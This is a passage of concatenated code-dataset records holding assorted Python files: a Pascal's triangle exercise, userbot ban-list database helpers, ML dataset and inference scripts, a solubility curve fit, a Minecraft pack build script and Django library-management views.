当前行 的第一列(col) 或者最后一列,值为 1\n if col == 0 or col == row:\n yh[row][col] = 1\n else:\n # 否则等于(看图吧。。。) https://zh.wikipedia.org/wiki/File:PascalTriangleAnimated2.gif\n yh[row][col] = yh[row - 1][col] + yh[row - 1][col - 1]\n print(yh[row][col], end='\\t')\n print()\n\nShowYangHuiTriangle()\n","repo_name":"newming/PythonLearn","sub_path":"100days/day7/exercise.py","file_name":"exercise.py","file_ext":"py","file_size_in_byte":3823,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40967092136","text":"try:\n from ProjectMan.helpers.SQL import BASE, SESSION\nexcept ImportError:\n raise AttributeError\n\nfrom sqlalchemy import Column, String\n\n\nclass GBan(BASE):\n __tablename__ = \"gban\"\n sender = Column(String(14), primary_key=True)\n\n def __init__(self, sender):\n self.sender = str(sender)\n\n\nGBan.__table__.create(checkfirst=True)\n\n\ndef is_gbanned(sender):\n try:\n ret = SESSION.query(GBan).filter(GBan.sender == str(sender)).all()\n return len(ret) > 0\n except BaseException:\n return None\n finally:\n SESSION.close()\n\n\ndef gbanned_users():\n try:\n return SESSION.query(GBan).all()\n except BaseException:\n return None\n finally:\n SESSION.close()\n\n\ndef gban(sender):\n adder = GBan(str(sender))\n SESSION.add(adder)\n SESSION.commit()\n\n\ndef ungban(sender):\n rem = SESSION.query(GBan).get((str(sender)))\n if rem:\n SESSION.delete(rem)\n SESSION.commit()\n","repo_name":"mrismanaziz/PyroMan-Userbot","sub_path":"ProjectMan/helpers/SQL/gban_sql.py","file_name":"gban_sql.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"en","doc_type":"code","stars":104,"dataset":"github-code","pt":"31"} +{"seq_id":"22642330625","text":"import os\nimport torch\nfrom PIL import Image\nimport numpy as np\nimport torchvision.transforms as transforms\nfrom torch.utils.data import Dataset\nimport pandas as pd\n\n\nclass ImageNetV2(Dataset):\n def __init__(self, root_dir, label_file, criterion=None):\n self.rootDir = root_dir\n self.allFiles = os.listdir(self.rootDir)\n self.label_dict = dict()\n self.tensorTransformation = transforms.ToTensor()\n\n labels = pd.read_csv(label_file, delimiter=\" \")\n labels = enumerate(labels['wdnet_id'].to_list())\n\n for k, v in labels:\n self.label_dict[v] = k\n\n def __len__(self):\n return len(os.listdir(self.rootDir))\n\n def __getitem__(self, index):\n files = self.allFiles[index]\n file_name = files.split(\"_\")[0]\n label = torch.tensor(data=self.label_dict[file_name])\n\n with Image.open(self.rootDir + files) as im:\n z = im.resize((32, 32))\n z = np.array(z)\n data = self.tensorTransformation(z)\n data = data.to(torch.double)\n return (data, label)\n","repo_name":"yugpsyfer/ResNet50_SUPCON","sub_path":"Data/target_dataset.py","file_name":"target_dataset.py","file_ext":"py","file_size_in_byte":1081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"9223246713","text":"\"\"\" Runs inference given a frozen model and a set of images\r\nExample:\r\n$ python inference.py --frozen_model frozen_model.pb --input_path ./test_images\r\n\"\"\"\r\n\r\nimport argparse\r\nimport tensorflow as tf\r\nimport os, glob\r\nimport cv2\r\nimport numpy as np \r\nos.environ['TF_CPP_MIN_LOG_LEVEL']='3'\r\n\r\ndef load_data_from_npz(path):\r\n data = np.load(path)\r\n pair_o = data['pair_goal']\r\n labels = data['labels']\r\n img1s = pair_o[:,0]\r\n img2s = pair_o[:,1]\r\n return img1s ,img2s,labels\r\nclass InferenceEngine:\r\n def __init__(self, frozen_graph_filename):\r\n with tf.gfile.GFile(frozen_graph_filename, \"rb\") as f:\r\n graph_def = tf.GraphDef()\r\n graph_def.ParseFromString(f.read())\r\n\r\n with tf.Graph().as_default() as graph:\r\n tf.import_graph_def(graph_def, name=\"Pretrained\")\r\n\r\n self.graph = graph\r\n\r\n def run_inference(self, img_s,img_t):\r\n img_s_ph = self.graph.get_tensor_by_name('Pretrained/state_images:0')\r\n img_t_ph = self.graph.get_tensor_by_name('Pretrained/target_images:0')\r\n preds = self.graph.get_tensor_by_name('Pretrained/preds:0')\r\n pred_idx = tf.argmax(preds)\r\n\r\n with tf.Session(graph=self.graph) as sess:\r\n class_label, probs = sess.run([pred_idx, preds], feed_dict={img_s_ph:img_s,img_t_ph:img_t})\r\n # print(\"Label: {:d}, Probability: {:.2f} \\t \".format(class_label, probs[class_label]))\r\n return class_label, probs[class_label]\r\n\r\nif __name__ == '__main__':\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument(\"--frozen_model\", default='./target.pd', type=str, help=\"Path to the frozen model file to import\")\r\n parser.add_argument(\"--input_path\", type=str,default = 'Data/pair_goal.npz', help=\"Path to the npz data\")\r\n parser.add_argument(\"--index\",type = int , help =\"predicting data index\",default=0)\r\n args = parser.parse_args()\r\n img1s ,img2s ,labels= load_data_from_npz(args.input_path)\r\n ie = InferenceEngine(args.frozen_model)\r\n # predict curtain index\r\n if False:\r\n img1 = np.expand_dims(img1s[args.index],axis=0)\r\n img2 = np.expand_dims(img2s[args.index],axis=0)\r\n print('Actual label:', labels[args.index])\r\n ie.run_inference(img1,img2)\r\n else:\r\n # find wrong label \r\n for i in range(1000):\r\n img1 = np.expand_dims(img1s[i],axis=0)\r\n img2 = np.expand_dims(img2s[i],axis=0)\r\n pre_label , prob = ie.run_inference(img1,img2)\r\n if pre_label != labels[i]:\r\n print(\"Prediction is wrong at index {:d} with predict label {:d},wrong probability {:2f}\".format(i,pre_label,prob))\r\n\r\n","repo_name":"thanhkaist/tf_state_discriminator","sub_path":"inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":2667,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"13462390730","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Jun 21 16:38:18 2021\r\n\r\n@author: marcell\r\n\"\"\"\r\n\r\nfrom numpy import exp, log\r\nfrom pyswarm import pso\r\nfrom scipy.optimize import minimize\r\n\r\n\r\ndef func_solubility(T, Theta):\r\n return exp(Theta[0] + Theta[1] * T + Theta[2] * log(T))\r\n\r\ndef objective_function(Theta, T, b):\r\n f = func_solubility(T, Theta)\r\n sol = 0.0\r\n TF = len(f)\r\n for i in range(0,TF):\r\n sol = sol + (b[i] - f[i])**2\r\n return sol\r\n\r\ndef n_linear_regression(T, b):\r\n lb = [-20.0, -20.0, -20.0]\r\n ub = [20.0, 20.0, 20.0]\r\n \r\n #Heuristic Optimizer\r\n xopt, fopt = pso(objective_function, lb, ub, ieqcons=[], f_ieqcons=None, args=(T, b), kwargs={}, swarmsize=100,\r\n omega=0.5, phip=0.8, phig=0.8, maxiter=5000, minstep=1e-6, minfunc=1e-6, debug=False)\r\n paramr = xopt\r\n x0 = (paramr)\r\n \r\n #Deterministic Optimizer\r\n Thetas = minimize(objective_function,x0,args=(T, b),method='Nelder-Mead', tol = 1e-7, options = {'xatol':1e-7, 'disp':True, 'maxiter': 2000})\r\n\r\n return Thetas.x\r\n","repo_name":"marcellsd/Salt_Solubility_MS","sub_path":"Modules/solubility.py","file_name":"solubility.py","file_ext":"py","file_size_in_byte":1061,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"6521015197","text":"# This script is used for building this pack\nimport hashlib, io, json, os, re, requests, shutil, pyjson5, zipfile\nfrom distutils.dir_util import copy_tree\nfrom sys import stderr\n\nimport python_nbt.nbt as nbt\n\n\ndef main():\n\tconfig = {}\n\tif os.path.exists(\"neunscript.config.json\"):\n\t\twith open(\"neunscript.config.json\", \"r\") as config_file:\n\t\t\tconfig_raw = config_file.read()\n\t\t\tconfig_file.close()\n\t\t\ttry:\n\t\t\t\tconfig=json.loads(config_raw)\n\t\t\texcept Exception:\n\t\t\t\tpass\n\n\ttarget = config.get(\"target\")\n\tif target == None:\n\t\ttarget=\"neunscript_out\"\n\n\tif os.path.exists(target):\n\t\tshutil.rmtree(target)\n\n\tresourcepack_config = config.get(\"resourcepack\")\n\tlanguages = None\n\tmc_version_info = None\n\n\tif resourcepack_config != None:\n\t\tcopy_pack(resourcepack_config, f\"{target}/tmp/resourcepack\", [\"assets\", \"pack.mcmeta\", \"pack.png\"])\n\t\tversion_id: str = config.get(\"mc\")\n\n\t\tif version_id != None:\n\t\t\tversion_manifest : dict = requests.get(\"https://piston-meta.mojang.com/mc/game/version_manifest_v2.json\").json()\n\t\t\tversion_data: dict = next(filter(lambda v: v[\"id\"] == version_id, version_manifest[\"versions\"]))\n\t\t\tif version_data != None:\n\t\t\t\tversion: dict = requests.get(version_data[\"url\"]).json()\n\t\t\t\toverride_default_lang_strings(f\"{target}/tmp/resourcepack\", version[\"assetIndex\"][\"url\"])\n\n\t\t\t\tminecraft_jar = zipfile.ZipFile(io.BytesIO(requests.get(version[\"downloads\"][\"client\"][\"url\"]).content))\n\t\t\t\tminecraft_jar.extract(\"version.json\", f\"{target}/tmp\")\n\t\t\t\twith open(f\"{target}/tmp/version.json\", \"r\", encoding=\"utf-8\") as version_info_file:\n\t\t\t\t\tmc_version_info: dict = json.loads(version_info_file.read())\n\t\t\t\tos.remove(f\"{target}/tmp/version.json\")\n\n\tdatapack_config = config.get(\"datapack\")\n\tif datapack_config != None:\n\t\tcopy_pack(datapack_config, f\"{target}/tmp/datapack\", [\"data\", \"pack.mcmeta\", \"pack.png\"])\n\n\tname=config.get(\"name\")\n\tversion=config.get(\"version\")\n\tif version == None:\n\t\tversion=config.get(\"versionName\")\n\n\tif name == None:\n\t\tname = \"unnamed\"\n\t\n\tif version == None:\n\t\tversion = \"1.0.0\"\n\n\tincludes = config.get(\"include\")\n\tif includes != None:\n\t\tfor path in includes:\n\t\t\tcopy_file_or_dir(path, f\"{target}/tmp/{path}\")\n\n\tworld_config=config.get(\"world\")\n\tworldpath=f\"{target}/tmp/world/{name}-{version}\"\n\tif world_config != None:\n\t\tcopy_pack(world_config, worldpath, None)\n\n\trequested_rp_sha = iterate_files(config, target, mc_version_info)\n\n\trppath=f\"{target}/{name}-{version}-resourcepack\"\n\tshutil.make_archive(rppath, \"zip\", f\"{target}/tmp/resourcepack\")\n\trppath += \".zip\"\n\n\tBUF_SIZE = 65536\n\tsha1 = hashlib.sha1()\n\twith open(rppath, 'rb') as f:\n\t\twhile True:\n\t\t\tdata = f.read(BUF_SIZE)\n\t\t\tif not data:\n\t\t\t\tbreak\n\t\t\tsha1.update(data)\n\n\tfor file_path in requested_rp_sha:\n\t\twith open(file_path, \"r+\", encoding=\"utf-8\") as file:\n\t\t\tfile_content = file.read()\n\t\t\tfile_content = file_content.replace(\"{NEUN_SCRIPT:resource_pack_sha1}\", sha1.hexdigest().upper())\n\t\t\tfile.seek(0)\n\t\t\tfile.write(file_content)\n\t\t\tfile.truncate()\n\t\n\tdppath = f\"{target}/{name}-{version}-datapack\"\n\tshutil.make_archive(dppath, \"zip\", f\"{target}/tmp/datapack\")\n\tdppath += \".zip\"\n\tshutil.copy2(rppath, f\"{worldpath}/resources.zip\")\n\tos.mkdir(f\"{worldpath}/datapacks\")\n\tshutil.copy2(dppath, f\"{worldpath}/datapacks/{name}.zip\")\n\n\tshutil.make_archive(f\"{target}/{name}-{version}\", \"zip\", f\"{target}/tmp/world\")\n\t\n\tif includes != None:\n\t\tfor path in includes:\n\t\t\tcopy_file_or_dir(f\"{target}/tmp/{path}\", f\"{target}/{path}\")\n\t\n\tshutil.rmtree(f\"{target}/tmp\")\n\ndef iterate_files(config: dict, target: str, mc_version_info: dict | None):\n\trequested_rp_sha = []\n\tremove_extensions = config.get(\"remove_file_types\")\n\tfor i, ext in enumerate(remove_extensions):\n\t\tremove_extensions[i] = \".\" + ext\n\tif remove_extensions == None:\n\t\tremove_extensions=()\n\telse:\n\t\tremove_extensions = tuple(remove_extensions)\n\n\tfor root, _, files in os.walk(f\"{target}{os.sep}tmp\"):\n\t\tfor file_name in files:\n\t\t\tfile_path = root + os.sep + file_name\n\t\t\tprint(file_path)\n\n\t\t\tif file_name.endswith(remove_extensions):\n\t\t\t\tos.remove(file_path)\n\t\t\telif file_name.endswith(\".nbt\") or file_name.endswith(\".dat\"):\n\t\t\t\tnbt_content = nbt.read_from_nbt_file(file_path)\n\t\t\t\thandle_nbt(nbt_content, file_path, config, mc_version_info)\n\t\t\t\tnbt.write_to_nbt_file(file_path, nbt_content)\n\n\t\t\telif not file_name.endswith(\".png\") and not file_name.endswith(\".bin\"):\n\t\t\t\ttry:\n\t\t\t\t\twith open(file_path, \"r+\", encoding=\"utf-8\") as file:\n\t\t\t\t\t\tfile_content = file.read()\n\n\t\t\t\t\t\tif file_name.endswith(\".json\") or file_name.endswith(\".mcmeta\"):\n\t\t\t\t\t\t\tfile_content = minify_json_file(file_content)\n\t\t\t\t\t\telif file_name.endswith(\".mcfunction\"):\n\t\t\t\t\t\t\tfile_content = minify_function_file(file_content)\n\n\t\t\t\t\t\tfile_content = replace_variables(file_content, file_path, config, requested_rp_sha)\n\n\t\t\t\t\t\tfile.seek(0)\n\t\t\t\t\t\tfile.write(file_content)\n\t\t\t\t\t\tfile.truncate()\n\t\t\t\texcept UnicodeDecodeError:\n\t\t\t\t\tpass\n\treturn requested_rp_sha\n\ndef replace_variables(content: str, file_path: str, config, requested_rp_sha: list):\n\tindexDiff = 0\n\tfor match in re.finditer(r\"\\{NEUN_SCRIPT:([a-zA-Z0-9_-]+)(?:\\s*([+\\-*/%])\\s*([+-]?\\d+))?\\}\", content):\n\t\tvariable = match.group(1)\n\t\treplace=None\n\t\tvars = config.get(\"vars\")\n\n\t\tif variable == \"version\":\n\t\t\treplace = config.get(\"version\")\n\t\telif variable == \"resource_pack_sha1\":\n\t\t\trequested_rp_sha.append(file_path)\n\t\t\tcontinue\n\t\telif vars != None:\n\t\t\treplace = vars.get(variable)\n\n\t\tif replace == None:\n\t\t\treplace=\"\"\n\t\t\n\t\tif match.group(2) != None:\n\t\t\tif match.group(2) == \"+\":\n\t\t\t\treplace = str(int(replace) + int(match.group(3)))\n\t\t\telif match.group(2) == \"-\":\n\t\t\t\treplace = str(int(replace) - int(match.group(3)))\n\t\t\telif match.group(2) == \"*\":\n\t\t\t\treplace = str(int(replace) * int(match.group(3)))\n\t\t\telif match.group(2) == \"/\":\n\t\t\t\treplace = str(int(replace) / int(match.group(3)))\n\t\t\telse:\n\t\t\t\treplace = str(int(replace) % int(match.group(3)))\n\n\t\tcontent = content[0:match.start() + indexDiff] + replace + content[match.end() + indexDiff:]\n\t\tindexDiff += len(replace) - match.end() + match.start()\n\treturn content\n\ndef handle_nbt(nbt_tag, file_path: str, config: dict, mc_version_info: dict | None, key: str | None = None):\n\tif isinstance(nbt_tag, dict):\n\t\tif file_path.endswith(\"level.dat\") and key == \"Version\" and mc_version_info != None:\n\t\t\tnbt_tag[\"Id\"].value = mc_version_info[\"world_version\"]\n\t\t\tnbt_tag[\"Name\"].value = mc_version_info[\"name\"]\n\t\telse:\n\t\t\tfor key, value in nbt_tag.items():\n\t\t\t\thandle_nbt(value, file_path, config, mc_version_info, key)\n\telif isinstance(nbt_tag, list):\n\t\tfor value in nbt_tag:\n\t\t\thandle_nbt(value, file_path, config, key)\n\telif hasattr(nbt_tag, \"value\") and isinstance(nbt_tag.value, str):\n\t\tnbt_tag.value = replace_variables(nbt_tag.value, file_path, config, [])\n\telif key == \"DataVersion\" and mc_version_info != None:\n\t\tnbt_tag.value = mc_version_info[\"world_version\"]\n\ndef minify_json_file(file_content: str):\n\ttry:\n\t\t# pyjson5 allows for comments and other json5 features when reading\n\t\tjson_content = pyjson5.decode(file_content)\n\t\t# json serializes as utf-8 when called like this, increasing minification \n\t\treturn json.dumps(json_content, ensure_ascii=False, separators=(\",\", \":\"))\n\n\texcept Exception:\n\t\tprint(\"failed to parse json file\\n\" + file_content, file=stderr)\n\ndef minify_function_file(file_content: str):\n\toutput=\"\"\n\tremove=0\n\tuncomment=0\n\n\tfor line in file_content.splitlines():\n\t\tline = line.strip()\n\n\t\tif line.startswith(\"#\") and uncomment > 0:\n\t\t\tline = line[1:]\n\t\t\tuncomment -= 1\n\t\telif uncomment < 0:\n\t\t\tuncomment = 0\n\n\t\tif remove > 0:\n\t\t\tremove -= 1\n\t\telif not line.startswith(\"#\") and line:\n\t\t\tif output:\n\t\t\t\toutput += \"\\n\"\n\t\t\toutput += line\n\t\telif line.startswith(\"#NEUN_SCRIPT\"):\n\t\t\tmatch=re.match(\"#NEUN_SCRIPT\\s+(.*)\", line)\n\n\t\t\tif match != None:\n\t\t\t\tcommand = re.sub(\"\\s+\", \" \", match.group(1)).lower().split(\" \")\n\n\t\t\t\tif command[0] == \"uncomment\":\n\t\t\t\t\tuncomment = 1\n\t\t\t\t\tif len(command) > 1:\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\tuncomment = int(command[1])\n\t\t\t\t\t\texcept ValueError:\n\t\t\t\t\t\t\tpass\n\n\t\t\t\tif command[0] == \"remove\":\n\t\t\t\t\tremove = 1\n\t\t\t\t\tif len(command) > 1:\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\tremove = int(command[1])\n\t\t\t\t\t\texcept ValueError:\n\t\t\t\t\t\t\tpass\n\treturn output\n\ndef copy_pack(pack_config: dict, tmp_dir: str, paths: list[str] | None):\n\tos.makedirs(tmp_dir)\n\tsrc=pack_config.get(\"path\")\n\tif src == None:\n\t\tsrc = \".\"\n\n\tdeps = pack_config.get(\"dependencies\")\n\tif deps != None:\n\t\tfor dep in deps:\n\t\t\tdependency = zipfile.ZipFile(io.BytesIO(requests.get(dep).content))\n\t\t\tdependency.extractall( f\"{tmp_dir}/dependency\")\n\n\t\t\tif paths != None:\n\t\t\t\tfor path in paths:\n\t\t\t\t\tcopy_file_or_dir(f\"{tmp_dir}/dependency/{path}\", f\"{tmp_dir}/{path}\")\n\t\t\telse:\n\t\t\t\tcopy_file_or_dir(f\"{tmp_dir}/dependency\", tmp_dir)\n\t\t\tshutil.rmtree(f\"{tmp_dir}/dependency\")\n\n\t\n\tif paths != None:\n\t\tfor path in paths:\n\t\t\tcopy_file_or_dir(f\"{src}/{path}\", f\"{tmp_dir}/{path}\")\n\telse:\n\t\tcopy_file_or_dir(src, tmp_dir)\n\n\t\n\texclude=pack_config.get(\"exclude\")\n\tif exclude != None:\n\t\tfor file in exclude:\n\t\t\tos.remove(f\"{tmp_dir}/{file}\")\n\ndef copy_file_or_dir(src: str, target: str):\n\tif os.path.isdir(src):\n\t\tcopy_tree(src, target)\n\telif os.path.exists(src):\n\t\tshutil.copy2(src, target)\n\ndef override_default_lang_strings(rp_root: str, assetUrl: str):\n\tdefault_strings = None\n\tif os.path.isfile(f\"{rp_root}/assets/minecraft/lang/en_us.json\"):\n\t\twith open(f\"{rp_root}/assets/minecraft/lang/en_us.json\", \"r\", encoding=\"utf-8\") as lang_file:\n\t\t\tdefault_strings: dict[str, str] = pyjson5.decode(lang_file.read())\n\n\tif default_strings == None:\n\t\treturn\n\n\tassets: dict = requests.get(assetUrl).json()\n\tpack_mcmeta_hash: str = assets[\"objects\"][\"pack.mcmeta\"][\"hash\"]\n\tpack_mcmeta: dict = requests.get(f\"https://resources.download.minecraft.net/{pack_mcmeta_hash[0:2]}/{pack_mcmeta_hash}\").json()\n\tlanguages: list[str] = list(pack_mcmeta[\"language\"])\n\n\tfor lang in languages:\n\t\tif lang != \"en_us\":\n\t\t\tlang_path=f\"{rp_root}/assets/minecraft/lang/{lang}.json\"\n\t\t\tif os.path.isfile(lang_path):\n\t\t\t\twith open(lang_path, \"r+\", encoding=\"utf-8\") as lang_file:\n\t\t\t\t\tlang_json: dict[str, str] = pyjson5.decode(lang_file.read())\n\t\t\t\t\tfor (key, default) in default_strings.items():\n\t\t\t\t\t\tif key not in lang_json or not lang_json[key] or lang_json[key].isspace():\n\t\t\t\t\t\t\tlang_json[key] = default\n\t\t\t\t\tlang_file.seek(0)\n\t\t\t\t\tlang_file.write(json.dumps(lang_json))\n\t\t\t\t\tlang_file.truncate()\n\t\t\telse:\n\t\t\t\twith open(lang_path, \"w\", encoding=\"utf-8\") as lang_file:\n\t\t\t\t\tlang_file.write(json.dumps(default_strings))\n\nif __name__ == '__main__':\n main()\n","repo_name":"NeunEinser/bingo","sub_path":"neunscript.py","file_name":"neunscript.py","file_ext":"py","file_size_in_byte":10441,"program_lang":"python","lang":"en","doc_type":"code","stars":70,"dataset":"github-code","pt":"31"} +{"seq_id":"69934267929","text":"from django.shortcuts import render\nfrom lms_app.models import *\nfrom django.db import transaction\nfrom rest_framework.views import APIView\nfrom rest_framework.generics import CreateAPIView, RetrieveAPIView, DestroyAPIView, UpdateAPIView, ListAPIView, GenericAPIView\nfrom rest_framework.authtoken.models import Token\nfrom lms_app.authentication import MyAuthentication\nfrom rest_framework.decorators import authentication_classes, permission_classes\nfrom rest_framework.permissions import AllowAny\nfrom lms_app.serializers import *\nfrom rest_framework import status\nfrom rest_framework.response import Response\nfrom datetime import datetime\nfrom django.utils import timezone\nfrom django.db.models import Q\nfrom functools import reduce\nimport operator\n\n\n# Create your views here.\n\n\n@authentication_classes([])\nclass UserLoginView(APIView):\n\tpermission_classes = [AllowAny]\n\tserializer_class = UserLoginSerializer\n\n\tdef post(self, request, *args, **kwargs):\n\t\twith transaction.atomic():\n\t\t\tif not request.data:\n\t\t\t\t# Retrun error message with 400 status\n\t\t\t\treturn Response({\"message\": \"Data is required.\", \"status\": status.HTTP_400_BAD_REQUEST}, status.HTTP_400_BAD_REQUEST)\n\t\t\telse:\n\t\t\t\temail = request.data.get('email')\n\t\t\t\tpassword = request.data.get('password')\n\t\t\t\tis_admin = True if request.data.get('admin') and request.data.get('admin').lower() == 'true' else False\n\t\t\t\t\n\t\t\t\tif not email:\n\t\t\t\t\t# Retrun error message with 400 status\n\t\t\t\t\treturn Response({\"message\": \"Email is required.\",\"status\":status.HTTP_400_BAD_REQUEST}, status.HTTP_400_BAD_REQUEST)\n\t\t\t\t\n\t\t\t\tif not password:\n\t\t\t\t\t# Retrun error message with 400 status\n\t\t\t\t\treturn Response({\"message\": \"Password is required.\",\"status\":status.HTTP_400_BAD_REQUEST}, status.HTTP_400_BAD_REQUEST)\n\n\t\t\t\tif is_admin:\t\t\t\t\t\n\t\t\t\t\tuser = User.objects.filter(email = email).first()\n\t\t\t\t\t\n\t\t\t\t\tif not user:\n\t\t\t\t\t\t# Retrun error message with 400 status\n\t\t\t\t\t\treturn Response({\"message\": \"This email is not registered.\",\"status\":status.HTTP_400_BAD_REQUEST}, status.HTTP_400_BAD_REQUEST) \n\t\t\t\t\t\n\t\t\t\t\tif not user.is_superuser:\n\t\t\t\t\t\t# Retrun error message with 400 status\n\t\t\t\t\t\treturn Response({\"message\": \"Given user is not Admin user.\",\"status\":status.HTTP_400_BAD_REQUEST}, status.HTTP_400_BAD_REQUEST) \n\t\t\t\t\n\t\t\t\tserializer = UserLoginSerializer(data=request.data)\n\t\t\t\t\n\t\t\t\t# check validation of serializer data\n\t\t\t\tif not serializer.is_valid(raise_exception=False):\n\t\t\t\t\tif serializer.errors.get('email'): \n\t\t\t\t\t\terror_msg = ''.join(serializer.errors['email'])\n\t\t\t\t\t\treturn Response({\"message\": error_msg,\"status\":status.HTTP_400_BAD_REQUEST}, status.HTTP_400_BAD_REQUEST)\n\n\t\t\t\t\t# Retrun error message with 400 status\n\t\t\t\t\treturn Response({\"message\": ''.join(serializer.errors['message']),\"status\":status.HTTP_400_BAD_REQUEST}, status.HTTP_400_BAD_REQUEST)\n\n\t\t\t\t# Generating an unique token for each user\n\t\t\t\tuser = User.objects.get(email = email)\n\n\t\t\t\ttoken = Token.objects.filter(user = user).first()\n\n\t\t\t\tif not token:\n\t\t\t\t\ttoken = Token.objects.create(user = user)\n\t\t\t\t\n\t\t\t\tuser.last_login = datetime.now(tz=timezone.utc)\n\t\t\t\tuser.save()\n\n\t\t\t\tdata = serializer.data\n\t\t\t\t\n\t\t\t\t# Adding token, first name and last name to response\n\t\t\t\tdata['token'] = \"Token \" + token.key\n\t\t\t\tdata['first_name'] = user.first_name\n\t\t\t\tdata['last_name'] = user.last_name\n\t\t\t\tdata[\"mobile\"] = user.mobile\n\t\t\t\t\n\t\t\t\t# Return success message with 200 status\n\t\t\t\treturn Response({\"message\": \"User is successfully logged in.\", \"data\": data,\n\t\t\t\t\t\t\t\t\t\t\t\"status\": status.HTTP_200_OK}, status.HTTP_200_OK)\n\n\n\n# User Logout View\nclass UserLogoutView(APIView):\n\tauthentication_classes = (MyAuthentication,)\n\n\tdef delete(self, request, *args, **kwargs):\n\t\t# simply delete the token to force a login\n\t\tauth_token = request.META.get(\"HTTP_AUTHORIZATION\")\n\t\tauth_token = auth_token.split(' ')[1]\n\t\t\n\t\ttoken = Token.objects.filter(key = auth_token).first()\n\t\t\t \n\t\tif token:\n\t\t\ttoken.delete()\n\t\t\n\t\t# Return success message with 200 status\n\t\treturn Response({\"message\": \"Logout successfully.\",\n\t\t\t\t\t\t\t\t\t\"status\": status.HTTP_200_OK}, status.HTTP_200_OK) \n\n\n\n# Book Issue Create view\nclass BookIssueCreateView(CreateAPIView):\n\tauthentication_classes = (MyAuthentication,)\n\tserializer_class = BookIssueDetailSerializer\n\n\tdef create(self, request, *args, **kwargs):\n\t\twith transaction.atomic():\n\t\t\tif not request.data:\n\t\t\t\t# Retrun error message with 400 status\n\t\t\t\treturn Response({\"message\": \"Data is required.\", \"status\": status.HTTP_400_BAD_REQUEST}, status.HTTP_400_BAD_REQUEST)\n\t\t\t\n\t\t\tif not request.data.get('book'):\n\t\t\t\t# Retrun error message with 400 status\n\t\t\t\treturn Response({\"message\": \"Book is required.\", \"status\":status.HTTP_400_BAD_REQUEST}, status.HTTP_400_BAD_REQUEST)\n\t\t\t\n\t\t\tif not request.data.get('student'):\n\t\t\t\t# Retrun error message with 400 status\n\t\t\t\treturn Response({\"message\": \"Student is required.\", \"status\":status.HTTP_400_BAD_REQUEST}, status.HTTP_400_BAD_REQUEST)\n\n\t\t\tbook_id = request.data.get('book')\n\t\t\tstudent_id = request.data.get('student')\n\n\t\t\tbook = Book.objects.filter(id=book_id).first()\n\t\t\tstudent = Student.objects.filter(id=student_id).first()\n\n\t\t\tif not book:\n\t\t\t\t# Retrun error message with 400 status\n\t\t\t\treturn Response({\"message\": \"Book does not exits.\", \"status\":status.HTTP_400_BAD_REQUEST}, status.HTTP_400_BAD_REQUEST)\n\n\t\t\tif not student:\n\t\t\t\t# Retrun error message with 400 status\n\t\t\t\treturn Response({\"message\": \"Student does not exits.\", \"status\":status.HTTP_400_BAD_REQUEST}, status.HTTP_400_BAD_REQUEST)\n\n\t\t\tbook_status = book.status\n\t\t\tif not book_status == \"available\":\n\t\t\t\t\t# Retrun error message with 400 status\n\t\t\t\t\treturn Response({\"message\": \"Book is not avilable.\", \"status\":status.HTTP_400_BAD_REQUEST}, status.HTTP_400_BAD_REQUEST)\n\n\t\t\ttotal_book_issued = student.total_book_issued\n\t\t\tif total_book_issued >= 3:\n\t\t\t\t# Retrun error message with 400 status\n\t\t\t\treturn Response({\"message\": \"Student does not issued more than 3 books.\", \"status\":status.HTTP_400_BAD_REQUEST}, status.HTTP_400_BAD_REQUEST)\n\n\t\t\trequest_date = datetime.now().date()\n\n\t\t\tdata = request.data.dict()\n\t\t\tdata[\"request_date\"] = request_date\n\n\t\t\tserializer = BookIssueDetailSerializer(data = data)\n\n\t\t\t# check validation of serializer data\n\t\t\tif not serializer.is_valid(raise_exception=False):\n\t\t\t\terror_msg = serializer.errors\n\t\t\t\tif serializer.errors.get('book'):\n\t\t\t\t\terror_msg = ''.join(serializer.errors['book'])\n\t\t\t\tif serializer.errors.get('student'):\n\t\t\t\t\terror_msg = ''.join(serializer.errors['student'])\n\t\t\t\tif serializer.errors.get('request_date'):\n\t\t\t\t\terror_msg = \"Request Date is invalid.\"\n\t\t\t\t\n\t\t\t\t# Retrun error message with 400 status\n\t\t\t\treturn Response({\"message\": error_msg,\"status\":status.HTTP_400_BAD_REQUEST}, status.HTTP_400_BAD_REQUEST)\n\n\t\t\tserializer.save()\n\n\t\t\t# Retrun success message with 200 status\n\t\t\treturn Response({\"message\": \"Book Issue is created.\", 'data': serializer.data, \"status\":status.HTTP_201_CREATED}, status.HTTP_201_CREATED)\n\n\n\n# Book Issue Update view\nclass BookIssueUpdateView(UpdateAPIView):\n\tauthentication_classes = (MyAuthentication,)\n\tserializer_class = BookIssueDetailUpdateSerializer\n\tlookup_field = 'id'\n\n\tdef patch(self, request, *args, **kwargs):\n\t\twith transaction.atomic():\n\n\t\t\taction = request.data.get('action')\n\t\t\tif not action:\n\t\t\t\t# Retrun error message with 400 status\n\t\t\t\treturn Response({\"message\": \"Action is required.\", \"status\":status.HTTP_400_BAD_REQUEST}, status.HTTP_400_BAD_REQUEST)\n\n\t\t\tif action.lower() != \"issue\" or action.lower() != \"close\":\n\t\t\t\t# Retrun error message with 400 status\n\t\t\t\treturn Response({\"message\": \"Invalid Action.\", \"status\":status.HTTP_400_BAD_REQUEST}, status.HTTP_400_BAD_REQUEST)\n\n\t\t\tstaff = Staff.objects.filter(user=request.user).first()\n\t\t\tif not staff:\n\t\t\t\t# Retrun error message with 400 status\n\t\t\t\treturn Response({\"message\": \"This user is not staff user.\", \"status\":status.HTTP_400_BAD_REQUEST}, status.HTTP_400_BAD_REQUEST)\n\n\t\t\t# Fetching book issue details with given id\n\t\t\tbook_issue_detail = BookIssueDetail.objects.filter(id = kwargs.get('id')).first()\n\t\t\t\n\t\t\tif not book_issue_detail:\n\t\t\t\t# Book Issue Detail not found\n\t\t\t\treturn Response({\"message\": \"Book Issue Detail is not found.\", \"status\":status.HTTP_404_NOT_FOUND}, 